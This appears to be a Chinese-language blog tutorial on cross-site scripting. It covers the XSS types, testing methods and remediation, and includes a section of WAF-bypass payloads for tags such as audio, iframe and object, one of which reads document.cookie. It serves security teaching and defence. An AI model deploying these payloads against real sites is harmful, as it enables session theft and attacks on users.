XSS(跨站脚本攻击)

目录

1.XSS原理

2.XSS分类

[3.XSS 漏洞的验证](#3.XSS 漏洞的验证)

4.XSS漏洞的黑盒测试

5.XSS漏洞的白盒测试

6.WAF绕过

常见WAF绕过的标签

绕过方法

audio标签

video标签

div标签

math标签

button标签

keygen标签

object标签

iframe标签

7.修复建议

代码层面

其他层面


1.XSS原理

恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之 时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层 面的攻击!

2.XSS分类

反射型XSS

攻击者将恶意代码注入到 Web 页面的 URL 参数中,然后通过诱导用户点击该链接来触发执行恶意代码。

非持久性、参数型的跨站脚本。反射型XSS 的JS 代码在Web 应用的参数(变量)中

----------搜索框

存储型XSS

攻击者将恶意代码注入到 Web 页面的数据库中,并在用户访问该页面时触发执行恶意代码。

持久性跨站脚本,XSS 代码不是在某个参数(变量)中,而是写进数据库或 文件等可以永久保存数据的介质中。------------------------留言板

DOM-XSS

攻击者将恶意代码注入到 Web 页面的 JavaScript 中,然后在用户访问该页面时触发执行恶意代码。

修改受害者浏览器页面的DOM 树而执行的。并不会传到服务器上

3.XSS 漏洞的验证

(1)scriptalert(/xss/)/script
(2)scriptconfirm('xss')/script
(3)scriptprompt('xss')/script

4.XSS漏洞的黑盒测试

URL的每一个参数、URL本身、表单、搜索框、常见业务场景

重灾区:评论区、留言区、个人信息、订单信息等

针对型:站内信、网页即时通讯、私信、意见反馈

存在风险:搜索框、当前目录、图片属性等

5.XSS漏洞的白盒测试

PHP中常见的接收参数的方式有GET、POST、$_REQUEST等等,可以搜索所有接收参数的地方。然后 对接收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和 html编码等处理。

也可以搜索类似echo这样的输出语句,跟踪输出的变量是从哪里来的,我们是否能控制,如果从数据库 中取的,是否能控制存到数据库中的数据,存到数据库之前有没有进行过滤等等。

大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过 滤,能否绕过等等

6.WAF绕过

常见WAF绕过的标签

<script> <a> <p> <img> <body> <button> <var> <div> <iframe> <object> <input>

<textarea> <keygen> <frameset> <embed> <svg> <math> <video> <audio> <select>

绕过方法

可以弹窗的:alert,prompt ,confirm,base64加密,编码绕过

绕过方法有很多比如:

大小写绕过

javascript伪协议

没有分号

Flash

HTML5 新标签

Fuzz进行测试

双层标签绕过

audio标签

<audio src=x οnerrοr=alert(47)>

<audio src=x οnerrοr=prompt(1);>

<audio src=1 href=1 οnerrοr="javascript:alert(1)"></audio>

video标签

<video src=x οnerrοr=prompt(1);>

<video src=x οnerrοr=alert(48)>

div标签

<div style="width:expression(alert(/1/))">1</div> 浏览器执行

<div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv> url编码绕过

math标签

<math><a/xlink:href=javascript:prompt(1)>Xss

<math href="javascript:javascript:alert(1)">Xss</math>

button标签

<button οnfοcus=alert(1) autofocus>

<button/οnclick=alert(1) >xss</button>

keygen标签

<keygen/οnfοcus=prompt(1);>

<keygen οnfοcus=javascript:alert(1) autofocus>

object标签

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

base64加密:PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg

解码:<script>alert(1)</script>

iframe标签

<iframe width%3d"420" height%3d"315" frameborder%3d"0" onload%3d"alert(document.cookie)"><%2fiframe>

<iframe%2fsrc%3d"data%3atext%2fhtml%3b%26Tab%3bbase64%26Tab%3b,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg%3d%3d"><iframe srcdoc%3d'%26lt%3bbody onload%3dprompt%26lpar%3b1%26rpar%3b%26gt%3b'>

7.修复建议

代码层面

**在服务端进行输入验证(输入验证):**服务器后端进行输入验证,包括输入的数据类型、数据长度、数据格式、特殊字符等进行验证。

**数据输出实体编码(输出编码):**输出编码手段主要有3种编码:URL编码、HTML编码和JavaScript编码。

其他层面

避免内敛事件 :尽量不要使用 onLoad="onload('{``{data}}')"onClick="go('{``{action}}')"这种拼接内联事件的写法。在 JavaScript 中通过 .addEventlistener()事件绑定会更安全。

**避免拼接 HTML:**前端采用拼接 HTML 的方法比较危险,如果框架允许,使用 createElement、setAttribute 之类的方法实现。或者采用比较成熟的渲染框架,如 Vue/React 等。

**使用CSP:**Content Security Policy:禁止加载外域代码,防止复杂的攻击逻辑;禁止外域提交,网站被攻击后,用户的数据不会泄露到外域;禁止内联脚本执行;禁止未授权的脚本执行。

**使用httponly:**HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie。httponly无法完全的防御xss漏洞,它只是规定了不能使用js去获取cookie的内容,因此它只能防御利用xss进行cookie劫持的问题。Httponly是在set-cookie时标记的,可对单独某个参数标记也可对全部参数标记。由于设置httponly的方法比较简单,使用也很灵活,并且对防御cookie劫持非常有用,因此已经渐渐成为一种默认的标准。

相关推荐
柯南二号3 分钟前
【大前端】React Native 调用 Android、iOS 原生能力封装
android·前端·react native
睡美人的小仙女1271 小时前
在 Vue 前端(Vue2/Vue3 通用)载入 JSON 格式的动图
前端·javascript·vue.js
yuanyxh1 小时前
React Native 初体验
前端·react native·react.js
HenrySmale2 小时前
05 网络信息内容安全--对抗攻击技术
网络·安全
程序视点2 小时前
2025最佳图片无损放大工具推荐:realesrgan-gui评测与下载指南
前端·后端
不懂机器人3 小时前
linux网络编程-----TCP服务端并发模型(epoll)
linux·网络·tcp/ip·算法
程序视点3 小时前
2023最新HitPaw免注册版下载:一键去除图片视频水印的终极教程
前端
上海控安3 小时前
上海控安:汽车API安全-风险与防护策略解析
网络·安全·汽车
小只笨笨狗~4 小时前
el-dialog宽度根据内容撑开
前端·vue.js·elementui
weixin_490354344 小时前
Vue设计与实现
前端·javascript·vue.js